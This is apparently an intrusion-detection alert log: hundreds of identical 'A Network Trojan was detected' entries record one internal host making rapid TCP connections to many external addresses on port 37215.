2024-10-08T20:35:49.927140+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38338	197.205.93.55	37215	TCP
2024-10-08T20:35:49.945935+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48660	156.193.39.131	37215	TCP
2024-10-08T20:35:49.948198+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47310	41.207.23.200	37215	TCP
2024-10-08T20:35:49.973304+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38400	197.91.113.70	37215	TCP
2024-10-08T20:35:49.977413+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59172	156.31.130.142	37215	TCP
2024-10-08T20:35:49.993295+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60920	41.81.123.148	37215	TCP
2024-10-08T20:35:50.011414+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43540	156.32.158.40	37215	TCP
2024-10-08T20:35:50.910152+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40710	156.172.166.79	37215	TCP
2024-10-08T20:35:50.926603+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54366	197.125.8.232	37215	TCP
2024-10-08T20:35:50.926944+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39972	41.66.154.181	37215	TCP
2024-10-08T20:35:50.942848+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47064	156.35.210.201	37215	TCP
2024-10-08T20:35:50.942978+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51588	197.47.182.82	37215	TCP
2024-10-08T20:35:50.942982+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38200	41.8.254.82	37215	TCP
2024-10-08T20:35:50.943168+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44470	197.109.111.142	37215	TCP
2024-10-08T20:35:50.944027+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56034	156.137.207.245	37215	TCP
2024-10-08T20:35:50.944594+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45048	197.180.240.108	37215	TCP
2024-10-08T20:35:50.945832+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34340	156.236.9.83	37215	TCP
2024-10-08T20:35:50.946039+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39756	197.173.118.46	37215	TCP
2024-10-08T20:35:50.959516+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41052	197.16.232.86	37215	TCP
2024-10-08T20:35:50.959870+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48346	197.25.73.244	37215	TCP
2024-10-08T20:35:50.960074+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36308	197.134.210.10	37215	TCP
2024-10-08T20:35:50.974886+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48382	41.136.102.142	37215	TCP
2024-10-08T20:35:50.993157+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47020	41.44.182.116	37215	TCP
2024-10-08T20:35:51.957982+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45334	41.38.214.252	37215	TCP
2024-10-08T20:35:51.958376+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34416	41.195.60.238	37215	TCP
2024-10-08T20:35:51.959227+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50370	156.0.238.151	37215	TCP
2024-10-08T20:35:51.959331+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50956	156.19.38.198	37215	TCP
2024-10-08T20:35:51.973326+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48480	156.19.187.126	37215	TCP
2024-10-08T20:35:51.978871+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60100	41.120.181.57	37215	TCP
2024-10-08T20:35:52.004654+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45960	41.81.136.69	37215	TCP
2024-10-08T20:35:52.008969+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36566	197.90.254.119	37215	TCP
2024-10-08T20:35:52.009892+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50870	197.176.144.209	37215	TCP
2024-10-08T20:35:52.974882+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44724	41.197.234.192	37215	TCP
2024-10-08T20:35:52.989443+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42104	156.227.79.126	37215	TCP
2024-10-08T20:35:52.989511+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55376	156.251.137.135	37215	TCP
2024-10-08T20:35:52.989751+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39104	156.213.168.144	37215	TCP
2024-10-08T20:35:52.990089+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48638	197.77.70.226	37215	TCP
2024-10-08T20:35:52.990483+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52332	197.34.236.117	37215	TCP
2024-10-08T20:35:52.990815+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54256	41.217.249.135	37215	TCP
2024-10-08T20:35:52.990826+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43782	156.116.146.10	37215	TCP
2024-10-08T20:35:52.991714+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44828	156.42.11.249	37215	TCP
2024-10-08T20:35:52.991911+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57036	41.212.247.124	37215	TCP
2024-10-08T20:35:52.992730+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44616	156.183.184.0	37215	TCP
2024-10-08T20:35:52.993075+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50438	197.75.114.91	37215	TCP
2024-10-08T20:35:52.994736+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57224	41.138.83.62	37215	TCP
2024-10-08T20:35:52.994912+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52042	156.78.217.65	37215	TCP
2024-10-08T20:35:53.004670+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34374	156.190.163.140	37215	TCP
2024-10-08T20:35:53.006424+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34390	156.159.203.29	37215	TCP
2024-10-08T20:35:53.006701+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43042	156.245.242.218	37215	TCP
2024-10-08T20:35:53.007533+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47424	156.199.216.15	37215	TCP
2024-10-08T20:35:53.008398+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55736	197.191.15.230	37215	TCP
2024-10-08T20:35:53.008760+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48366	41.119.10.9	37215	TCP
2024-10-08T20:35:53.010475+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48578	41.149.66.79	37215	TCP
2024-10-08T20:35:53.011426+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42468	197.52.125.255	37215	TCP
2024-10-08T20:35:53.012513+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38376	41.185.81.228	37215	TCP
2024-10-08T20:35:53.022528+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50198	156.153.101.1	37215	TCP
2024-10-08T20:35:54.051157+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46150	197.52.127.134	37215	TCP
2024-10-08T20:35:54.051499+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60536	197.56.84.192	37215	TCP
2024-10-08T20:35:54.051903+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54216	41.187.126.125	37215	TCP
2024-10-08T20:35:54.052695+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56146	156.50.134.1	37215	TCP
2024-10-08T20:35:54.052922+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48116	197.194.66.46	37215	TCP
2024-10-08T20:35:54.067422+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47470	156.100.1.246	37215	TCP
2024-10-08T20:35:54.067710+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49334	41.164.110.252	37215	TCP
2024-10-08T20:35:54.067757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39160	41.43.109.86	37215	TCP
2024-10-08T20:35:54.068071+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41018	156.122.120.97	37215	TCP
2024-10-08T20:35:54.082491+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46982	156.168.184.128	37215	TCP
2024-10-08T20:35:54.083084+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43578	197.11.10.186	37215	TCP
2024-10-08T20:35:54.083152+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54656	156.133.141.192	37215	TCP
2024-10-08T20:35:54.083379+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58624	156.232.174.235	37215	TCP
2024-10-08T20:35:54.083612+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58156	41.90.57.136	37215	TCP
2024-10-08T20:35:54.084497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44052	41.116.22.6	37215	TCP
2024-10-08T20:35:54.084550+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38760	197.5.126.180	37215	TCP
2024-10-08T20:35:54.086955+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36020	197.205.142.75	37215	TCP
2024-10-08T20:35:54.101341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50254	156.142.155.135	37215	TCP
2024-10-08T20:35:54.101588+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35066	41.252.205.62	37215	TCP
2024-10-08T20:35:54.101730+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43660	156.86.88.205	37215	TCP
2024-10-08T20:35:54.101927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53936	41.174.196.98	37215	TCP
2024-10-08T20:35:54.107327+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39902	156.7.96.81	37215	TCP
2024-10-08T20:35:54.112278+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54164	197.30.199.181	37215	TCP
2024-10-08T20:35:54.140508+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41068	41.128.108.99	37215	TCP
2024-10-08T20:35:54.155341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60952	197.175.32.170	37215	TCP
2024-10-08T20:35:55.052108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52832	197.18.222.189	37215	TCP
2024-10-08T20:35:55.052131+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34232	197.226.71.25	37215	TCP
2024-10-08T20:35:55.052131+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59928	41.221.187.17	37215	TCP
2024-10-08T20:35:55.052248+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47026	156.72.54.76	37215	TCP
2024-10-08T20:35:55.067085+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49862	156.232.68.120	37215	TCP
2024-10-08T20:35:55.067132+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56262	156.146.247.57	37215	TCP
2024-10-08T20:35:55.067652+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34140	197.71.164.233	37215	TCP
2024-10-08T20:35:55.069828+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48206	156.85.59.68	37215	TCP
2024-10-08T20:35:55.071070+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46856	41.250.105.225	37215	TCP
2024-10-08T20:35:55.071532+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44988	41.20.89.21	37215	TCP
2024-10-08T20:35:55.071877+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55652	156.41.92.242	37215	TCP
2024-10-08T20:35:55.083094+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59712	197.255.113.200	37215	TCP
2024-10-08T20:35:55.083142+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48122	156.50.193.209	37215	TCP
2024-10-08T20:35:55.084016+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40796	41.161.94.154	37215	TCP
2024-10-08T20:35:55.084309+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38040	156.40.88.215	37215	TCP
2024-10-08T20:35:55.084562+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52094	41.254.229.53	37215	TCP
2024-10-08T20:35:55.084974+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46104	197.20.8.45	37215	TCP
2024-10-08T20:35:55.084993+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58442	156.150.160.49	37215	TCP
2024-10-08T20:35:55.085038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36570	41.223.43.41	37215	TCP
2024-10-08T20:35:55.087516+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59136	197.246.114.178	37215	TCP
2024-10-08T20:35:55.089059+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54456	197.147.98.148	37215	TCP
2024-10-08T20:35:55.108334+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58940	197.117.9.233	37215	TCP
2024-10-08T20:35:55.108396+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59894	41.205.145.98	37215	TCP
2024-10-08T20:35:55.108681+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57502	41.190.126.85	37215	TCP
2024-10-08T20:35:56.068427+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60824	156.87.58.209	37215	TCP
2024-10-08T20:35:56.083030+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40552	197.196.123.18	37215	TCP
2024-10-08T20:35:56.105016+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41062	156.211.182.119	37215	TCP
2024-10-08T20:35:56.114205+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42358	197.119.43.104	37215	TCP
2024-10-08T20:35:56.114912+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55302	156.244.194.204	37215	TCP
2024-10-08T20:35:56.115423+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54890	156.37.236.80	37215	TCP
2024-10-08T20:35:56.120259+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35492	197.159.243.80	37215	TCP
2024-10-08T20:35:57.083070+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56356	197.228.22.77	37215	TCP
2024-10-08T20:35:57.083460+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44402	197.7.165.7	37215	TCP
2024-10-08T20:35:57.084163+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52020	197.145.102.112	37215	TCP
2024-10-08T20:35:57.099336+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57352	156.185.159.180	37215	TCP
2024-10-08T20:35:57.100507+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57016	197.14.216.120	37215	TCP
2024-10-08T20:35:57.116093+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33780	156.25.216.140	37215	TCP
2024-10-08T20:35:57.119914+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52326	156.170.161.89	37215	TCP
2024-10-08T20:35:57.129677+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33976	156.38.112.241	37215	TCP
2024-10-08T20:35:57.129678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40048	41.165.161.254	37215	TCP
2024-10-08T20:35:57.129678+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47124	197.219.20.171	37215	TCP
2024-10-08T20:35:57.130120+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46020	197.145.237.205	37215	TCP
2024-10-08T20:35:57.131323+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34432	197.112.11.201	37215	TCP
2024-10-08T20:35:57.131863+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46110	41.185.93.12	37215	TCP
2024-10-08T20:35:57.133271+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40992	41.53.104.123	37215	TCP
2024-10-08T20:35:57.133408+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48174	197.244.241.97	37215	TCP
2024-10-08T20:35:57.134464+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56776	41.217.189.37	37215	TCP
2024-10-08T20:35:57.145229+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34708	197.127.208.117	37215	TCP
2024-10-08T20:35:57.145628+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45382	41.230.127.54	37215	TCP
2024-10-08T20:35:57.145952+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53286	197.50.189.132	37215	TCP
2024-10-08T20:35:57.146051+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34490	41.55.95.103	37215	TCP
2024-10-08T20:35:57.146822+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36428	156.156.78.131	37215	TCP
2024-10-08T20:35:57.146991+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33980	156.7.14.197	37215	TCP
2024-10-08T20:35:57.147409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58226	156.59.235.218	37215	TCP
2024-10-08T20:35:57.147414+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37898	41.152.44.72	37215	TCP
2024-10-08T20:35:57.149026+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33380	197.215.65.141	37215	TCP
2024-10-08T20:35:57.150075+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48736	41.43.215.51	37215	TCP
2024-10-08T20:35:57.162493+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48702	197.52.43.142	37215	TCP
2024-10-08T20:35:57.162668+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36732	41.55.6.231	37215	TCP
2024-10-08T20:35:57.162867+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40450	41.97.91.246	37215	TCP
2024-10-08T20:35:57.164268+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45450	197.2.134.46	37215	TCP
2024-10-08T20:35:57.164448+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55808	156.164.199.158	37215	TCP
2024-10-08T20:35:57.165196+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44948	156.69.25.235	37215	TCP
2024-10-08T20:35:57.165356+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40086	156.84.124.67	37215	TCP
2024-10-08T20:35:57.166796+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55084	197.216.185.95	37215	TCP
2024-10-08T20:35:57.168494+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52980	41.35.92.40	37215	TCP
2024-10-08T20:35:57.168494+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46584	41.251.53.172	37215	TCP
2024-10-08T20:35:57.168523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59130	156.31.31.185	37215	TCP
2024-10-08T20:35:57.168774+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50976	156.178.173.182	37215	TCP
2024-10-08T20:35:57.169453+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41520	41.252.70.150	37215	TCP
2024-10-08T20:35:57.169650+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57084	156.140.174.116	37215	TCP
2024-10-08T20:35:57.170448+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43068	197.49.128.71	37215	TCP
2024-10-08T20:35:57.170544+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33974	41.137.113.176	37215	TCP
2024-10-08T20:35:57.172927+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53930	41.88.30.137	37215	TCP
2024-10-08T20:35:57.172960+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34016	41.86.96.198	37215	TCP
2024-10-08T20:35:57.373345+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53334	156.73.185.103	37215	TCP
2024-10-08T20:35:58.129441+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35974	197.97.81.15	37215	TCP
2024-10-08T20:35:58.129875+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51806	156.244.59.34	37215	TCP
2024-10-08T20:35:58.169038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48056	197.31.254.58	37215	TCP
2024-10-08T20:35:59.114480+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34210	197.204.48.17	37215	TCP
2024-10-08T20:35:59.129946+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36330	41.99.88.93	37215	TCP
2024-10-08T20:35:59.130224+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51194	156.77.158.97	37215	TCP
2024-10-08T20:35:59.130288+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57444	156.77.177.221	37215	TCP
2024-10-08T20:35:59.130577+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56236	197.176.244.62	37215	TCP
2024-10-08T20:35:59.130587+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48290	197.202.92.3	37215	TCP
2024-10-08T20:35:59.130741+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36722	41.81.205.78	37215	TCP
2024-10-08T20:35:59.131100+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34928	41.119.176.242	37215	TCP
2024-10-08T20:35:59.131113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44434	197.52.215.255	37215	TCP
2024-10-08T20:35:59.131636+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52048	156.68.194.75	37215	TCP
2024-10-08T20:35:59.132055+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33440	41.43.77.22	37215	TCP
2024-10-08T20:35:59.132442+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58314	156.227.249.75	37215	TCP
2024-10-08T20:35:59.132442+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54042	41.155.126.162	37215	TCP
2024-10-08T20:35:59.133093+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41420	197.33.163.105	37215	TCP
2024-10-08T20:35:59.133108+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50558	156.226.226.100	37215	TCP
2024-10-08T20:35:59.133124+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43238	41.222.50.159	37215	TCP
2024-10-08T20:35:59.133139+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32898	156.56.206.20	37215	TCP
2024-10-08T20:35:59.133174+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56294	197.64.96.49	37215	TCP
2024-10-08T20:35:59.133800+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57166	197.242.176.150	37215	TCP
2024-10-08T20:35:59.133813+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34494	41.212.118.94	37215	TCP
2024-10-08T20:35:59.133829+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39236	156.175.163.178	37215	TCP
2024-10-08T20:35:59.134367+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60662	197.91.239.48	37215	TCP
2024-10-08T20:35:59.134374+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36528	197.117.227.143	37215	TCP
2024-10-08T20:35:59.136087+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51996	197.58.96.174	37215	TCP
2024-10-08T20:35:59.145692+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35646	41.38.224.192	37215	TCP
2024-10-08T20:35:59.146064+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45942	197.123.168.231	37215	TCP
2024-10-08T20:35:59.147020+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42914	197.176.12.92	37215	TCP
2024-10-08T20:35:59.147222+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51410	197.72.165.58	37215	TCP
2024-10-08T20:35:59.147479+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38590	197.181.231.217	37215	TCP
2024-10-08T20:35:59.148007+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53400	197.14.81.91	37215	TCP
2024-10-08T20:35:59.149534+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35726	197.87.234.12	37215	TCP
2024-10-08T20:35:59.149829+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47938	197.169.38.238	37215	TCP
2024-10-08T20:35:59.150163+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49340	41.35.60.93	37215	TCP
2024-10-08T20:35:59.150362+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33692	156.168.180.156	37215	TCP
2024-10-08T20:35:59.150365+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48500	197.133.248.242	37215	TCP
2024-10-08T20:35:59.150450+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42834	197.235.178.101	37215	TCP
2024-10-08T20:35:59.150675+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36654	156.156.182.133	37215	TCP
2024-10-08T20:35:59.150680+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60760	41.45.131.122	37215	TCP
2024-10-08T20:35:59.150709+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45050	197.8.56.45	37215	TCP
2024-10-08T20:35:59.150709+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46760	197.192.214.142	37215	TCP
2024-10-08T20:35:59.150802+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45452	197.234.133.204	37215	TCP
2024-10-08T20:35:59.150957+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49800	41.80.198.14	37215	TCP
2024-10-08T20:35:59.151611+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57498	41.200.0.225	37215	TCP
2024-10-08T20:35:59.151660+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51496	41.134.135.9	37215	TCP
2024-10-08T20:35:59.151734+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44248	156.209.231.134	37215	TCP
2024-10-08T20:35:59.151735+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44992	41.113.151.93	37215	TCP
2024-10-08T20:35:59.151932+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39760	197.113.156.185	37215	TCP
2024-10-08T20:35:59.152054+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59382	41.153.121.229	37215	TCP
2024-10-08T20:35:59.152550+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38074	156.253.94.126	37215	TCP
2024-10-08T20:35:59.196220+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48514	156.29.142.171	37215	TCP
2024-10-08T20:36:00.162395+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52918	156.99.236.82	37215	TCP
2024-10-08T20:36:01.226456+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33960	197.241.198.212	37215	TCP
2024-10-08T20:36:02.193761+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47040	197.192.90.253	37215	TCP
2024-10-08T20:36:02.193841+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50570	156.170.78.248	37215	TCP
2024-10-08T20:36:02.212897+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42344	197.138.159.191	37215	TCP
2024-10-08T20:36:02.269169+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52798	197.115.38.198	37215	TCP
2024-10-08T20:36:02.269367+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45382	197.0.132.69	37215	TCP
2024-10-08T20:36:03.261563+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49368	156.109.166.22	37215	TCP
2024-10-08T20:36:04.260380+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54904	197.109.45.89	37215	TCP
2024-10-08T20:36:04.260384+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47306	41.30.31.41	37215	TCP
2024-10-08T20:36:04.260538+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56626	197.114.35.129	37215	TCP
2024-10-08T20:36:04.260623+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49506	197.220.12.164	37215	TCP
2024-10-08T20:36:04.260721+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53316	41.48.176.21	37215	TCP
2024-10-08T20:36:04.260729+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47370	197.195.143.158	37215	TCP
2024-10-08T20:36:04.262007+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45574	156.82.77.173	37215	TCP
2024-10-08T20:36:04.262098+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56392	197.47.158.190	37215	TCP
2024-10-08T20:36:04.262181+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59476	41.192.141.179	37215	TCP
2024-10-08T20:36:04.262200+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34312	41.148.215.172	37215	TCP
2024-10-08T20:36:04.262297+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39474	197.11.101.96	37215	TCP
2024-10-08T20:36:04.262411+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32988	197.141.154.171	37215	TCP
2024-10-08T20:36:04.262593+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56454	41.208.142.15	37215	TCP
2024-10-08T20:36:04.262663+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50866	41.232.32.28	37215	TCP
2024-10-08T20:36:04.262700+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34364	156.194.5.201	37215	TCP
2024-10-08T20:36:04.263303+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44494	41.41.211.152	37215	TCP
2024-10-08T20:36:04.263319+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40348	197.233.118.121	37215	TCP
2024-10-08T20:36:04.263427+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59808	41.26.96.53	37215	TCP
2024-10-08T20:36:04.263494+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46282	41.143.18.61	37215	TCP
2024-10-08T20:36:04.263727+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33906	156.237.242.195	37215	TCP
2024-10-08T20:36:04.263743+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44756	197.221.173.57	37215	TCP
2024-10-08T20:36:04.263843+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59814	197.51.166.11	37215	TCP
2024-10-08T20:36:04.263934+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45730	156.220.21.235	37215	TCP
